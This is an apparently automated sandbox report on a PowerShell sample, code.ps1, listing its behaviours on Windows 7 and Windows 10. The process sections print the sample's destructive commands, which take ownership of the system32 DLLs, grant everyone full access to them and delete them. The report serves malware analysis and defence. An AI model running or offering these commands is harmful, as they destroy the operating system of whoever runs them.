Malware Analysis Report

2024-11-16 12:48

Sample ID 240809-zfawfasbkh
Target code.ps1
SHA256 0271c04d628adc5e20e6c8067b1ce258f5378bd362a992b092465babfd4e70d0
Tags
discovery execution exploit
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

0271c04d628adc5e20e6c8067b1ce258f5378bd362a992b092465babfd4e70d0

Threat Level: Likely malicious

The file code.ps1 was found to be: Likely malicious.

Malicious Activity Summary

discovery execution exploit

Possible privilege escalation attempt

Modifies file permissions

Drops file in Program Files directory

Command and Scripting Interpreter: PowerShell

Suspicious use of AdjustPrivilegeToken

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Modifies Internet Explorer settings

Suspicious behavior: EnumeratesProcesses

Modifies registry class

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-09 20:39

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-09 20:39

Reported

2024-08-09 20:40

Platform

win7-20240705-en

Max time kernel

42s

Max time network

51s

Command Line

powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\code.ps1

Signatures

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files\Google\Chrome\Application\debug.log C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Software\Microsoft\Internet Explorer\InternetRegistry C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Software\Microsoft\Internet Explorer\Toolbar C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Software\Microsoft\Internet Explorer\GPU C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Software\Microsoft\Internet Explorer\PageSetup C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Software\Microsoft\Internet Explorer\Main C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Software\Microsoft\Internet Explorer\LowRegistry C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Software\Microsoft\Internet Explorer\Zoom C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Software\Microsoft\Internet Explorer\IETld\LowMic C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Software\Microsoft\Internet Explorer\IntelliForms C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage C:\Program Files\Internet Explorer\iexplore.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2644 wrote to memory of 2708 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2644 wrote to memory of 2708 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2644 wrote to memory of 2708 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2708 wrote to memory of 2988 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 2708 wrote to memory of 2988 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 2708 wrote to memory of 2988 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 2644 wrote to memory of 1288 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2644 wrote to memory of 1288 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2644 wrote to memory of 1288 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 1288 wrote to memory of 2984 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 1288 wrote to memory of 2984 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 1288 wrote to memory of 2984 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2644 wrote to memory of 2712 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2644 wrote to memory of 2712 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2644 wrote to memory of 2712 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2596 wrote to memory of 2624 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2596 wrote to memory of 2624 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2596 wrote to memory of 2624 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3068 wrote to memory of 2400 N/A C:\Program Files\Internet Explorer\iexplore.exe C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
PID 3068 wrote to memory of 2400 N/A C:\Program Files\Internet Explorer\iexplore.exe C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
PID 3068 wrote to memory of 2400 N/A C:\Program Files\Internet Explorer\iexplore.exe C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
PID 3068 wrote to memory of 2400 N/A C:\Program Files\Internet Explorer\iexplore.exe C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE

Processes

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\code.ps1

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "takeown /f %windir%\system32\*.dll >nul"

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\system32\*.dll

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "icacls %windir%\system32\*.dll /grant Everyone:(F) >nul"

C:\Windows\system32\icacls.exe

icacls C:\Windows\system32\*.dll /grant Everyone:(F)

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "del /s /q %windir%\system32\*.dll >nul"

C:\Windows\system32\calc.exe

"C:\Windows\system32\calc.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef7fd9758,0x7fef7fd9768,0x7fef7fd9778

C:\Program Files\Internet Explorer\iexplore.exe

"C:\Program Files\Internet Explorer\iexplore.exe"

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE

"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3068 CREDAT:275457 /prefetch:2

Network

Files

memory/2644-4-0x000007FEF65CE000-0x000007FEF65CF000-memory.dmp

memory/2644-5-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

memory/2644-6-0x0000000002810000-0x0000000002818000-memory.dmp

memory/2644-7-0x000007FEF6310000-0x000007FEF6CAD000-memory.dmp

memory/2644-8-0x000007FEF6310000-0x000007FEF6CAD000-memory.dmp

memory/2644-9-0x000007FEF6310000-0x000007FEF6CAD000-memory.dmp

memory/2644-10-0x000007FEF6310000-0x000007FEF6CAD000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-09 20:39

Reported

2024-08-09 20:40

Platform

win10v2004-20240802-en

Max time kernel

47s

Max time network

40s

Command Line

powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\code.ps1

Signatures

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\MuiCache C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe N/A
Key created \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\MuiCache C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe N/A
Key created \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\MuiCache C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A

Processes

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\code.ps1

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "takeown /f %windir%\system32\*.dll >nul"

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\system32\*.dll

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "icacls %windir%\system32\*.dll /grant Everyone:(F) >nul"

C:\Windows\system32\icacls.exe

icacls C:\Windows\system32\*.dll /grant Everyone:(F)

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "del /s /q %windir%\system32\*.dll >nul"

C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe

"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe

"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca

C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe

"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 67.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp

Files

memory/4212-0-0x00007FFF8B313000-0x00007FFF8B315000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vdlgjbag.rzt.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4212-7-0x00000229340D0000-0x00000229340F2000-memory.dmp

memory/4212-11-0x00007FFF8B310000-0x00007FFF8BDD1000-memory.dmp

memory/4212-12-0x00007FFF8B310000-0x00007FFF8BDD1000-memory.dmp

memory/4212-15-0x00000229361F0000-0x000002293640C000-memory.dmp

memory/4212-16-0x00007FFF8B310000-0x00007FFF8BDD1000-memory.dmp